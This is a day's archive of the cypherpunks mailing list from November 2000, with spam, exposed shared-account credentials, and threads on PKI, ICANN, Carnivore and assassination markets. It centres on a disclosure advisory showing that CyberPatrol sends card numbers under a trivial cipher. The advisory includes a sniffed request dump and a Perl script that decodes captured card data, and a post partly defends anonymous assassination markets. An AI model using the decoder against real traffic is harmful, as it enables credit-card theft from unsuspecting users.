2000 From: asgdas7435 at consultant.com (asgdas7435 at consultant.com) Date: Wed, 22 Nov 2000 03:21:20 Subject: CDR: WOW ANIMALS IN THE ACT Message-ID: <889.819734.93465@consultant.com> hot girls fucking animalsclick here **If You got this E-Mail Either you, or someone on your screen name requested to be on this list. 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Mike Bender 888-532-8842 To be removed call: 888-800-6339 X1377 From mike999 at arabia.com Wed Nov 22 03:35:29 2000 From: mike999 at arabia.com (mike999 at arabia.com) Date: Wed, 22 Nov 2000 07:35:29 -0400 Subject: CDR: ADV: Search Engine Registration Message-ID: <200011221135.HAA13873@mail.cufan.mil.ve> Removal instructions below I saw your listing on the internet. I work for a company that specializes in getting clients web sites listed as close to the top of the major search engines as possible. Our fee is only $29.95 per month to submit your site at least twice a month to over 350 search engines and directories. To get started and put your web site in the fast lane, call our toll free number below. Mike Bender 888-532-8842 To be removed call: 888-800-6339 X1377 From globalwork at mail.com Wed Nov 22 08:18:25 2000 From: globalwork at mail.com (AM Publishing) Date: Wed, 22 Nov 2000 08:18:25 -0800 (PST) Subject: CDR: cypherpunks, The New "AOL" - Free Business Opportunity. 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From orders at webnoize.com Wed Nov 22 04:27:21 2000 From: orders at webnoize.com (orders at webnoize.com) Date: Wed, 22 Nov 2000 08:27:21 -0400 Subject: CDR: Webnoize WIRE Order #100014383 Message-ID: <200011221327.IAA26257@smtp.webnoize.com> Hello Cypherpunks Cypherpunks, Your Webnoize subscription has been activated. As a Webnoize WIRE subscriber, you will receive daily email roundups of Webnoize News, same-day access to select Webnoize News Articles, and limited access to Webnoize Live original programming. SUBSCRIPTION INFO: Subscription #: 100014383 Subscription Type: WIRE Expiration Date: 05/21/2001 To update any of your subscription information (email address, phone, etc.), simply visit the URL below to access your profile. YOUR SUBSCRIPTION URL: http://www.webnoize.com/subscriptions/profile.rs If you have trouble accessing Webnoize, please send a description of the problems you are encountering via email to "subscriptions at webnoize.com". You can also contact the Webnoize customer service department at 617-768-0480. From subscriptions at webnoize.com Wed Nov 22 04:37:10 2000 From: subscriptions at webnoize.com (subscriptions at webnoize.com) Date: Wed, 22 Nov 2000 08:37:10 -0400 Subject: CDR: Webnoize Subscription Reminder Message-ID: <200011221337.IAA26270@smtp.webnoize.com> Hello, Below is the copy of your Webnoize user name and password that you requested. For your information, this subscription will expire on May 21, 2001. SUBSCRIPTION INFO: User Name: cypherpunks Password: w825ix70 To update any of your subscription information (email address, phone, etc.), simply visit the URL below to access your profile. YOUR SUBSCRIPTION URL: http://www.webnoize.com/subscriptions/profile.rs?ID=100014383 If you have trouble accessing Webnoize, please send a description of the problems you are encountering via email to "subscriptions at webnoize.com". You can also contact the Webnoize Subscription Department at 617-768-0400. From George at Orwellian.Org Wed Nov 22 06:00:35 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Wed, 22 Nov 2000 09:00:35 -0500 (EST) Subject: CDR: And the latest Florida Cheney killer is... Message-ID: <200011221400.JAA24544@www0.aa.psiweb.com> A Republican controlled district admits to bringing in two republican operatives and marking up (apparently 100% illegal, chargeable as a crime) ballots and sending them overseas...absentee ballots. They might all get thrown out. 15,000 of them. Republican. From Lynn.Wheeler at firstdata.com Wed Nov 22 09:58:26 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Wed, 22 Nov 2000 09:58:26 -0800 Subject: Public Key Infrastructure: An Artifact... Message-ID: <8525699F.005D612E.00@lnsunr02.fl.firstdata.com> the other scenerio that some certification agencies have expressed (i.e. licensing bureaus, bbb, consumer report, etc operations) is that in the online world ... that they would provide an online service .... rather than certificates designed for an offline world. the online website provides a superior experience, real-time information, and a better binding between the certification agencies and the relying parties (i.e. current use of certificates totally disintermediate the certification authorities and the relying parties .... except in the scenerio where the certification authority and the relying party are the same ... in which case the certificates are redundant and superfulous). in the shopping experience trust establishment ... trust can be established in a variety of ways, brand, advertisement, word-of-mouth, previous experience, etc. certification trust is just one of the many ways of establishing various kinds of trust. however, any certification trust in the online environment could be better provided by online certification delivery vehicle ... rather than an offline (certificate) vehicle (which disintermediates the certification agency and the relying party). "Arnold G. Reinhold" on 11/22/2000 08:00:34 AM Please respond to "Arnold G. Reinhold" From abuzz at abuzz.com Wed Nov 22 07:06:16 2000 From: abuzz at abuzz.com (Abuzz at NYTimes.com) Date: Wed, 22 Nov 2000 10:06:16 -0500 (EST) Subject: CDR: Welcome to Abuzz Message-ID: <266276487.974905576609.JavaMail.SYSTEM@abzcontent3> Abuzz - Welcome cypherpunks2112 to Abuzz! -------------------------------------- * PLEASE SAVE THIS EMAIL FOR FUTURE REFERENCE * Thanks for signing up through The New York Times on the Web. You are now an Abuzz member! You are Signed In to Abuzz and able to use all of its features. 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A part of New York Times Digital From announce at inbox.nytimes.com Wed Nov 22 07:06:54 2000 From: announce at inbox.nytimes.com (The New York Times on the Web) Date: Wed, 22 Nov 2000 10:06:54 -0500 (EST) Subject: CDR: Important Membership Information Message-ID: <200011221506.KAA11410@web79t.lga2.nytimes.com> Dear cypherpunks2112, Welcome to NYTimes.com! We are delighted that you have decided to become a member of our community. As a member you now have complete access to the Web's premier source for news and information -- free of charge. NYTimes.com not only provides you with in-depth coverage of events happening around the world but also with a wealth of additional features and services. The site is updated regularly throughout the day by New York Times reporters and editors to give you greater insight into events unfolding throughout the day. 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Share your thoughts about the site with us by sending an e-mail to feedback at nytimes.com ************************************************************* Your account information is listed below for future reference: Your Member ID is cypherpunks2112 You selected your password at registration. Your e-mail address is cypherpunks at toad.com If you did not authorize this registration, someone has mistakenly registered using your e-mail address. We regret the inconvenience; please see http://www.nytimes.com/subscribe/help/cancel.html for instructions. From obfuscation at beta.freedom.net Wed Nov 22 10:25:47 2000 From: obfuscation at beta.freedom.net (obfuscation at beta.freedom.net) Date: Wed, 22 Nov 2000 10:25:47 -0800 Subject: CDR: Re: ZKS -- the path to world domination Message-ID: <200011221827.KAA08490@cyberpass.net> Adam Back writes: > It's as strong as we could make it. Private interactive > communications are a hard problem. As Wei and I were discussing in > the "PipeNet protocol" thread in the last couple of weeks, there are 4 > main properties you're trying to optimise over: > > 1. security (resistance to traffic analysis) > 2. performance > 3. bandwidth efficiency (cost) > 4. DoS resistance > > It appears pretty hard to get more than one of these properties with > theoretical optimality. PipeNet gets the first one with good > theoretical security, but none of the others are good. Freedom makes > an engineering tradeoff which does reasonably on all 4. What about adding link padding? Can you say something about why this doesn't help, or costs too much? Without it, someone monitoring your system can see which ZKS node you are talking to. If they then monitor that node they can see that whenever you send an incoming message, there comes an outgoing message, so they can see the next node you are talking to, and so on. With link padding, they couldn't do this. They'd have to interrupt your data stream and then monitor *all* the outgoing traffic from *all* the ZKS nodes and see which one got interrupted. This sounds like a much more expensive attack. It is an active attack as well, while the previous one is passive and could be done by a Carnivore system. Ob From bill.stewart at pobox.com Wed Nov 22 10:26:11 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 22 Nov 2000 10:26:11 -0800 Subject: CDR: Re: ICANN should approve more domains, from Wall Street Journal In-Reply-To: <4.3.0.20001120085538.0150bb50@mail.well.com> Message-ID: <3.0.5.32.20001122102611.00b54ad0@idiom.com> I was disappointed that the IETF Ad Hoc Committee wasn't able to generate their political clout to get their earlier 7-new-TLD plan implemented a couple years ago. However, one strong similarity between their plan and ICANN's is that both first rounds of new TLDs were pretty lame, and if this wasn't done deliberately, it should have been, because it's a Good Thing. It's how you get a practice round before getting to the far more controversial valuable namespaces, like .inc, .ltd/gmbh/sa, .mp3, .sex and .microsoft. The limitations on the number of TLDs aren't particularly technical; if you allow an infinite number of them, you replicate all the problems with .com under . , and don't have a level of indirection available to fix them with. It's worth going slowly. The more important questions are the openness of the namespaces; I'm glad that ICANN rejected the WHO's .health and Nader's .union, because they allow political groups to decide who can join based on their political correctness positions (would WHO allow .accupuncture.health? .joes-herbal-remedies.health? .snakeoil.health? .homeopathy.health? Nader's group wouldn't allow a company-dominated union, and might even have trouble with the Wobblies.) The $50K application fee was pure exploitation of their position; I don't think they're making any excuses for that. The big problem is that it limits the kinds of TLDs that can be applied for to commercial players - experimental namespace use like .geo is valuable, and hard to get funding for. And like taxi monopoly medallions in New York City, once you've charged somebody big money for their chance, it's politically difficult to charge somebody else less or nothing later. Bill Stewart At 08:58 AM 11/20/00 -0800, Declan McCullagh wrote: >[My op-ed, below, appeared in today's paper. An HTML-formatted copy is at: >http://www.cluebot.com/article.pl?sid=00/11/20/1714249 --Declan] > > The Wall Street Journal > Monday, November 20, 2000 > > ICANN Use More Web Suffixes > By Declan McCullagh > Op-Ed > ..... > One reason is that the new suffixes approved by the Internet > Corporation for Assigned Names and Numbers are woefully inadequate. > Instead of picking GTLDs that would meet market demand, ICANN decided > to approve the lackluster set of .aero, .biz, .coop, .info, .museum, > .name, and .pro instead. (If these were proposed brand names, you can > bet most would fail the first focus group test.) Any more additions, > ICANN's board members indicated, would not be approved until late > 2001. > > This is absurd. Technology experts occasionally wrangle over how many > GTLDs the current setup can include, with the better estimates in the > millions, but few doubt that the domain name system can handle tens of > thousands of new suffixes without catastrophe. .... > Another problem is a predictable one: Politics. In the past, some of > ICANN's duties had been handled by various federal agencies. Unlike > what some regulatory enthusiasts have suggested, however, the solution > is not encouraging the government to again become directly involved in > this process. A wiser alternative is a complete or near-complete > privatization of these functions. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From reinhold at WORLD.STD.COM Wed Nov 22 08:00:34 2000 From: reinhold at WORLD.STD.COM (Arnold G. Reinhold) Date: Wed, 22 Nov 2000 11:00:34 -0500 Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: References: Message-ID: At 1:59 PM -0800 11/20/2000, Bram Cohen wrote: >On Mon, 20 Nov 2000, Arnold G. Reinhold wrote: > >> Perry's last sentence gets to the heart of the matter. If CAs >> included a financial guarantee of whatever it is they are asserting >> when they issue a certificate, then all these problems would go away. > >They aren't going to. > >-Bram Cohen > It's still early in the game to be so certain. But if you are right, that in it self is an indictment of PKI. If there really is a market for trust establishment and a form of PKI is the low cost producer of trust, then someone should be able to make money by using their expertise to assemble a technology suite and sell trust insurance based on the spread between the risk perceived by the market and what they know to be a lower risk. If such services never develop, it either means there is no market or PKI doesn't have enough economic impact to cover the costs of starting such a business. Arnold Reinhold From ravage at EINSTEIN.ssz.com Wed Nov 22 09:21:50 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 22 Nov 2000 11:21:50 -0600 (CST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: Message-ID: On Wed, 22 Nov 2000, Arnold G. Reinhold wrote: > It's still early in the game to be so certain. But if you are right, > that in it self is an indictment of PKI. If there really is a market > for trust establishment and a form of PKI is the low cost producer of But there is no market for 'trust'. What the market wants is 'proof'. They're not 1-to-1. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From honig at sprynet.com Wed Nov 22 09:17:00 2000 From: honig at sprynet.com (David Honig) Date: Wed, 22 Nov 2000 12:17:00 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: References: <5.0.0.25.0.20001121165156.0412a210@popserver.panix.com> Message-ID: <3.0.6.32.20001122091513.007da7f0@pop.sprynet.com> At 08:31 PM 11/21/00 -0500, Ray Dillinger wrote: > >I have just read his paper on Assassination Politics, at > >Basically, assassination is illegal, and the courts will >interpret the law in whatever way they need to in order >to stop assassinations from happening. >Even if they couldn't find a specific law to charge the >operator of an AP server with, or couldn't get a conviction >on the laws they'd charged him/her with, they would doubtless >issue a court order commanding the operators of the server >to cease and desist. Correct, except that you haven't grasped that it will be impossible to trace anything to anyone. To see this, you need to imagine truly anonymous payment schemes and truly anonymous information publishing. [The latter tech exists, the former has to deal with interfacing with the US dominated financial web, and exchanging ecredits for meatthings. Meat being succeptible to guns & cruise missiles, of course.] Bell's observation is simply: if you have these two (cash & freedom of speech), look at what one could build. And the social implications thereof. From ravage at EINSTEIN.ssz.com Wed Nov 22 10:17:03 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 22 Nov 2000 12:17:03 -0600 (CST) Subject: CDR: The Register reports continued european software patent ban Message-ID: http://www.theregister.co.uk ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From alan at clueserver.org Wed Nov 22 12:22:05 2000 From: alan at clueserver.org (Alan Olsen) Date: Wed, 22 Nov 2000 12:22:05 -0800 (PST) Subject: CDR: Re: Carnivore Report In-Reply-To: <200011222001.PAA04318@smtp10.atl.mindspring.net> Message-ID: On Wed, 22 Nov 2000, John Young wrote: > One notable conclusion about Carnivore's shortcomings > and why its code should not be released to the public: > > Carnivore can be countered with simple, public-domain > encryption. And I need to source to tell me that? Sheesh! What kind of fools do they take the American people for these days? (Don't answer that. I already know.) alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From tcmay at got.net Wed Nov 22 09:47:39 2000 From: tcmay at got.net (Tim May) Date: Wed, 22 Nov 2000 12:47:39 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <3.0.6.32.20001122091513.007da7f0@pop.sprynet.com> References: <5.0.0.25.0.20001121165156.0412a210@popserver.panix.com> Message-ID: At 12:17 PM -0500 11/22/00, David Honig wrote: >At 08:31 PM 11/21/00 -0500, Ray Dillinger wrote: >> >>I have just read his paper on Assassination Politics, at >> >>Basically, assassination is illegal, and the courts will >>interpret the law in whatever way they need to in order >>to stop assassinations from happening. > >>Even if they couldn't find a specific law to charge the >>operator of an AP server with, or couldn't get a conviction >>on the laws they'd charged him/her with, they would doubtless >>issue a court order commanding the operators of the server >>to cease and desist. > >Correct, except that you haven't grasped that it will be impossible >to trace anything to anyone. Yeah, it's disappointing to read comments like: "I have just read his paper on Assassination Politics, at http://www.jya.com/ap.htm. " (from Ray Dillinger) Our mailing list has now dwindled down to a handful of active posters. (Many drawn off by the siren call of "no politics" on other lists...until those lists start talking about politics, as cross-posts are showing!) Folks should be "up to speed" on the "classics" before expounding. As to the specifics of Bell's case, I find that those who comment too much get invited by the cops and narcs to come and help their cases in court. So I avoid commenting. Anything I have said to Bell is not directly traceable to me. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From rah at shipwright.com Wed Nov 22 10:24:24 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 22 Nov 2000 13:24:24 -0500 Subject: CDR: W Message-ID: http://www.freerepublic.com/forum/a3a1b73ee4e38.htm Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From maierj at HOME.COM Wed Nov 22 05:41:25 2000 From: maierj at HOME.COM (Joey Maier) Date: Wed, 22 Nov 2000 13:41:25 +0000 Subject: CyberPatrol - poor credit card protection Message-ID: CyberPatrol - poor credit card protection ***SUMMARY*** Product: Cyber Patrol vunerable versions: 4.04.003 & 4.04.005 (possibly all other versions) non-vunerable versions: unknown Vendor: Microsys (formerly owned by Mattel, now JSB) Vendor Contacted: Fri, 18 Aug 2000 11:52:20 -0500 (CDT) Fixes: None available Issue: All registration info except the credit card # is sent in clear text, and the card number is obfuscated with a trivial substitution cipher. Demonstration: A simple program written in Perl is included with this advisory; given logs from the Snort network sniffer, it will display full registration and credit card information. Authors: Joey Maier and Dan Kaminsky Initial Research: Joey Maier ***BACKGROUND*** CyberPatrol is a controversial but popular product for censoring family, library, and corporate computer systems against (ostensibly) sexual, hateful, or other forbidden categories of websites. (The liberties that CyberPatrol has taken with these categories, combined with their extensive legal actions against those who exposed such liberties, caused the Library of Congress to enact a special exemption defending those who CyberPatrol's authors were attacking. http://slashdot.org/yro/00/10/30/056213.shtml) ***DETAILS*** Registration for CyberPatrol is handled directly by the software, rather than through an SSL-encrypted web interface. The client, downloadable from http://www.cyberpatrol.com , presents the user with a registration form requesting standard information as well. Before any information is sent to Microsys, the client verifies that the credit card number qualifies as a valid Luhn number[1]. Assuming it is, the client sends the registration information to cybercentral.microsys.com (204.57.42.15) via normal http. (It uses a POST request.) The email address, expiration date of the credit card, name, address, and phone number are all sent in clear text, without any attempt to obfuscate or encrypt. (Please note that the form, which is illustrated at http://www.cyberpatrol.com/trial/reg_sof.htm, claims that "the above information will be scrambled before being sent".) The credit card information is not much better off: It is sent using an extraordinarily ineffective substitution cipher, equivalent to that which may be found in the games pages of many newspapers. This code is as follows: 0=z, 1={, 2=x, 3=y, 4=%7E, 5=., 6=|, 7=}, 8=r, 9=s The following is an example of a POST request which is destined for cybercentral.microsys.com (the card number was generated for this test only and was never submitted) =================================================================== 07/30-05:49:18.648744 192.168.23.13:1026 -> 204.57.42.15:80 TCP TTL:128 TOS:0xF8 ID:2048 DF ***PA* Seq: 0x2E92F Ack: 0x1BF0E567 Win: 0x2238 50 4F 53 54 20 2F 72 65 67 69 73 74 65 72 2F 20 POST /register/ 48 54 54 50 2F 31 2E 30 0D 0A 55 73 65 72 2D 41 HTTP/1.0..User-A 67 65 6E 74 3A 20 43 79 62 65 72 20 50 61 74 72 gent: Cyber Patr 6F 6C 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D ol..Accept: */*. 0A 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 .Content-type: a 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 pplication/x-www 2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 -form-urlencoded 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 ..Content-Length 3A 20 33 30 31 0D 0A 0D 0A 45 4D 41 49 4C 3D 6D : 301....EMAIL=m 61 69 65 72 6A 25 34 30 68 6F 6D 65 2E 63 6F 6D aierj%40home.com 26 43 41 52 44 3D 25 37 45 7B 78 72 25 37 45 7A &CARD=%7E{xr%7Ez 7D 72 7B 7D 7F 78 79 79 72 7A 26 45 58 50 3D 30 }r{}.xyyrz&EXP=0 39 30 32 26 4E 41 4D 45 3D 4A 6F 65 79 25 32 30 902&NAME=Joey%20 4D 61 69 65 72 26 41 44 44 52 31 3D 31 36 30 30 Maier&ADDR1=1600 25 32 30 50 65 6E 6E 73 79 6C 76 61 6E 69 61 25 %20Pennsylvania% 32 30 41 76 65 2E 25 32 30 4E 57 26 41 44 44 52 20Ave.%20NW&ADDR 32 3D 26 43 49 54 59 3D 57 61 73 68 69 6E 67 74 2=&CITY=Washingt 6F 6E 25 32 30 7C 25 32 30 44 43 25 32 30 7C 25 on%20|%20DC%20|% 32 30 32 30 35 30 30 25 32 30 7C 25 32 30 26 50 2020500%20|%20&P 48 4F 4E 45 3D 32 30 32 25 32 30 34 35 36 25 32 HONE=202%20456%2 30 31 34 31 34 26 53 49 54 45 25 32 30 53 4E 3D 01414&SITE%20SN= 37 31 34 31 26 4F 50 54 49 4F 4E 3D 31 26 50 52 7141&OPTION=1&PR 4F 44 55 43 54 3D 24 32 39 2E 39 35 25 32 30 50 ODUCT=$29.95%20P 72 6F 67 72 61 6D 25 32 30 77 25 32 46 25 32 30 rogram%20w%2F%20 33 25 32 30 6D 6F 2E 25 32 30 6C 69 73 74 26 43 3%20mo.%20list&C 4E 4F 54 3D 39 31 26 52 45 56 3D 34 2E 30 34 2E NOT=91&REV=4.04. 30 30 34 26 53 4F 55 52 43 45 3D 57 49 4E 2D 4D 004&SOURCE=WIN-M 53 49 2D 57 45 42 =================================================================== Similar information could be found in the logs of a corporate or educational proxy administrator; the important thing to note is the amount of personal information plainly visible along the right side of the sniffed request. Interestingly enough, it appears the client determines its own price. Oops. All that is required for an attacker to retrieve this information is for a sniffer to be placed upstream before 204.57.42.15, the IP address of Microsys's servers. Microsys has no method in place to detect, address, or reasonably frustrate such a sniffer. ***METHODOLOGY*** 1. Download and install CyberPatrol client. 2. Take a firewall with advancd configurability[2] and configure it to block PUSH-ACK and RST packets.[3] (This will allow the CyberPatrol client to do an nslookup and handshake through the firewall, but won't let it actually send the POST info to cybercentral.microsys.com. Test your rules first with a valid card you own; if you got them wrong, you want to find out without being accused of credit fraud.) 3. Execute a Luhn number generator (I used CreditMaster v. 4 from WTI) to generate some card numbers. 4. Start snort (http://www.snort.org) and use it to sniff the POST requests that the client is trying to send. 5. Try to register (If your firewall is properly blocking the POST request, this will fail and the cyberpatrol client will hang) 6. use the perl script below to parse the snort log and dump the credit card information to stdout in plain text. ***SUGGESTIONS*** users: Don't install this product until they fix their registration process. If you must install this product, consider using AntiSniff (http://www.l0pht.com/antisniff/) before hand to make sure there are no unauthorized sniffers running on your local network. vendor: You apparently lack cryptographic expertise onsite--accept this. Don't go out and attempt to merge in a commercial crypto toolkit or even OpenSSL--you don't have the time or the programming staff. Please, take advantage of the widespread deployment of SSL in the browser and have users register online through an SSL enabled form. Return a trivially encrypted code for them to paste or type into their client. I'd suggest adding a filetype or a MIMEType so users simply would have to click on a link to register your software, but you'd both run the risk of collisions and would have to be eternally vigilant against buffer overflows in your registration code--not something you want. Your worst case liability in this case is users stealing your software with forged registration codes--bad, but not as bad as losing your merchant account. It's just too easy for you to tell the OS to open a browser window to https://cybercentral.microsys.com for you to not use that solution. Your backend code won't even need to change--you just need to provide an HTML page with matching a matching form to your client. If your server doesn't already possess SSL support, you can install an SSL wrapper using the crossplatform stunnel package. ***HISTORY*** On Aug. 8 I called their help line and talked to a guy named Fidel. Very nice person, but he didn't listen to me. I said that registration information was sent in clear text - along with detailed information about your system configuration - and he insisted that they "scramble" this information. I uninstalled and reinstalled the product a few times, watched the registration process, and decided that I needed to contact microsys again, so I wrote an email explaining my concerns (clear text registration info and what appeared to be a weak CC# scheme). This email, and a snort log, were sent to the following vendor contact addresses on Fri, 18 Aug 2000 11:52:20 -0500 (CDT): >To: Admin at BRODER.COM, NetAdmin at BRODER.COM, help at mattelsupport.com, > security-alert at BRODER.COM, security-alert at mattelsupport.com, > secure at BRODER.COM, secure at mattelsupport.com, security at BRODER.COM, > security at mattelsupport.com, support at BRODER.COM, > support at mattelsupport.com,info at BRODER.COM, info at mattelsupport.com [...] > He told me that you don't store email > addresses or phone numbers with system information, and that any > information from the client was scrambled. Obviously this is not > true. > > While not a huge threat with the purchased version, the demo > version allows you to enter your credit card #, and I suspect that > it is sent the same way. I got a canned response on Mon, 21 Aug 2000 08:11:59 -0500 saying to call 319-247-3333 if I had technical questions. I called that day and talked to someone named Katie. She said her supervisor, Juan, would contact the development team and get back to me. She said they wanted to know how I had found this out. I had to explain what a sniffer was. They assigned this issue to case # 1530436 Friday, 8-25-00 I called them to see what was happening, and was told "We're researching it. We're trying to get a hold of development". I said I needed a contact who would tell me what was being done about this, so I knew something was being done. He said he'd email development today, and that I should expect to hear something by early next week. They still haven't contacted me. [It is now 11-22-00] ***RANTS*** It is totally irresponsible for a software vendor to dump security related issues to the same team of people who help users with installation issues. When someone reports a security vunerability, they should not have to talk to people who don't know what a sniffer is; they should be given a way to contact someone who understands the issue. [Added by Dan Kaminsky] Like many other examples before it, this case exemplifies how full disclosure in security vulnerabilities is critical. I want to know if my car is unsafe at any speed--I want to know if my food is poisonous--and I want to know if my software could ruin my credit. The secrecy that a thankfully small number of vendors pine for is merely the freedom to cut costs at their customer's expense, secure in the knowledge that the legal system will punish any who would dare to protect themselves and their fellow citizens. That's not freedom. That's not justice. And in the end--it's not in those vendors best interest: The backlash of heavy handed regulation they threaten to spawn will outweigh *any* other benefits they might seek. ***THANKS*** Thanks to Dan Kaminsky for providing many of the ideas I followed while researching this bug and writing this advisory. Also, thanks to the people who coded the tools I used: Martin Roesch (http://www.snort.org) Theo and the rest of the OpenBSD team. (http://www.openbsd.org) The IPF FAQ people (http://coombs.anu.edu.au/~avalon/) WTI (CreditMaster) [1] Credit cards are Luhn numbers. more info on the Luhn Formula can be found at: perl.about.com/compute/perl/library/weekly/aa080600a.htm perl.about.com/compute/perl/library/weekly/aa073000a.htm [2] Novell's BorderManager lacks advanced configurability. [3] These are the IPFilter rules used in the methodology described above. (Obviously, there's some redundancy here, but I wanted to err on the side of caution. The IPF gods among you can certainly produce a cleaner ruleset.) ============================================================== block in on ne1 proto tcp from any to any block in quick on ne1 proto tcp from any to any flags R block out quick on ne1 proto tcp from any to any flags R block in quick on ne0 proto tcp from any to any flags R block out quick on ne0 proto tcp from any to any flags R block in quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA block out quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA block in quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA block out quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA pass in quick on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24 pass out on ne1 proto tcp from any to cybercentral.microsys.com flags S pass in on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24 flags S/SA ============================================================== ***DEMONSTRATION*** Here's an example of the output from the perl script included below: $ ./cpetrol.pl EMAIL=maierj at home.com CARD=4128624250251572 EXP=0502 NAME=Joey Maier ADDR1=1600 Pennsylvania Ave. NW ADDR2= CITY=Washington | DC | 20500 | PHONE=202 456 1414 ################################################# # Name: cpetrol.pl # # Author: Joey Maier # # purpose: parse snort logs of cyberpatrol # registration and dump the registration # information (including the credit # card numbers) in plain text to # stdout. # # useage: ./cpetrol.pl # # requirements: You have to have a snort log # of the registration, it has # to be named "log", and it # needs to be in this directory # # Greets: Thanks to Dan Kaminsky for his # help in researching this bug. # ################################################# #!/usr/bin/perl $showline=0; open(SNORT, "log"); LINE:while($line=){ @field=split /\s/, $line; if($#field>0 && $#field<15){next LINE;} if(!($line=~/\w/)){ $registerinfo=~s/\%20/ /g; $registerinfo=~s/\%40/@/g; ($junk, $registerinfo)=split /\.\.\.\./, $registerinfo; @array=split /\&/, $registerinfo; if($array[0]=~/EMAIL/){print "$array[0]\n";} if($array[1]=~/CARD/){print "CARD=";} @chararray=split //, $array[1]; $arraylength=$#chararray; for($i=0; $i<$arraylength+1; ++$i){ if($chararray[$i]=~/\%/){ $checkchar="$chararray[$i]"; $checkchar.="$chararray[$i+1]"; $checkchar.="$chararray[$i+2]"; $i=$i+2; } else{$checkchar="$chararray[$i]";} if($checkchar=~/z/){print "0";} elsif($checkchar=~/{/){print "1";} elsif($checkchar=~/x/){print "2";} elsif($checkchar=~/y/){print "3";} elsif($checkchar=~/\%7E/){print "4";} elsif($checkchar=~/\./){print "5";} elsif($checkchar=~/\|/){print "6";} elsif($checkchar=~/\}/){print "7";} elsif($checkchar=~/r/){print "8";} elsif($checkchar=~/s/){print "9";} } if($array[2]=~/EXP/){print "\n$array[2]\n";} if($array[3]=~/NAME/){print "$array[3]\n";} if($array[4]=~/ADDR1/){print "$array[4]\n";} if($array[5]=~/ADDR2/){print "$array[5]\n";} if($array[6]=~/CITY/){print "$array[6]\n";} if($array[7]=~/PHONE/){print "$array[7]\n\n\n";} $registerinfo=""; $showline=0; } if($line=~/POST/){$showline=1} if($showline eq 1){ ($junk, $line)=split / /, $line; chomp($line); $registerinfo.=$line; } } From emc at artifact.psychedelic.net Wed Nov 22 14:15:14 2000 From: emc at artifact.psychedelic.net (Eric Cordian) Date: Wed, 22 Nov 2000 14:15:14 -0800 (PST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: from "Alan Olsen" at Nov 22, 2000 03:11:02 PM Message-ID: <200011222215.eAMMFEL10403@artifact.psychedelic.net> Alan Olsen wrote: > I disagree. I don't believe Jim really was willing to consider > the social implications of his scheme. The implications are that in a society where the government has not made personal privacy and private communication illegal, you can't be an asshole to countless millions of people without winding up with a price on your head. This seems to be a natural example of the doctrine that people who make peaceful change impossible, make violent change inevitable. Clearly, the remedy here is for people in power to not act like assholes, rather than to make personal privacy and private communication illegal, as governments seem wont to do. > He seemed to think that the only target of this would be the government. I think this is a reasonable observation. You really have to be acting under color of authority to strongly alienate enough people, who have so litle recourse against you, that millions will bet a buck on your continued good health in the hopes that an anonymous assassin will prove them wrong and collect the pot. > Think about it. If you had the chance to have people killed without any > posibility of capture, who would it be? I can't think of anyone I would have killed. My personal moral system is such that I only think it is reasonable to kill someone if they pose an immediate danger of death or serious injury to oneself, or someone one is obligated to protect, and retreat is impossible. However, I recognize that the world contains many people with different ethical codes, and if they want to issue a Fatwah at the drop of a hat, that is their business and not mine. > I think that there are more people out there who would go after Bill > Gates or John Tesh than there would for various little known public > officials. (This could be a case where fame could have an even bigger > downside. About six feet down.) Oh come now. You have real recourse against Bill Gates and John Tesh short of killing them. Bill Gates and John Tesh don't claim they have God's authority to kill you if you don't do what they say. They don't order your house raided, and your children terrorized at gunpoint. They don't force you to choose between going to prison or going to war. They don't accuse you of treason and try to have you executed if you tell their dirty little secrets. I don't think Bill Gates and John Tesh have a thing to worry about from AP. Janet Reno, on the other hand... :) > One of the reasons that this country is so fucked up is that few pay > attention to what their leaders actually do. You tell them about laws > that are already on the books and they don't believe you. They still buy > into the myth that America is the "Freest Country in the World(tm)". Well, as ts elliot once observed, what we need is a system so perfect that it does not require that people be good. Any government that requires me to pay attention to what it does, in order to function efficiently, is a lost cause. I mean, I don't have to pay attention to Federal Express for it to perform well. McDonalds manages to make burgers without my participation. I am not mailed a ballot to choose the 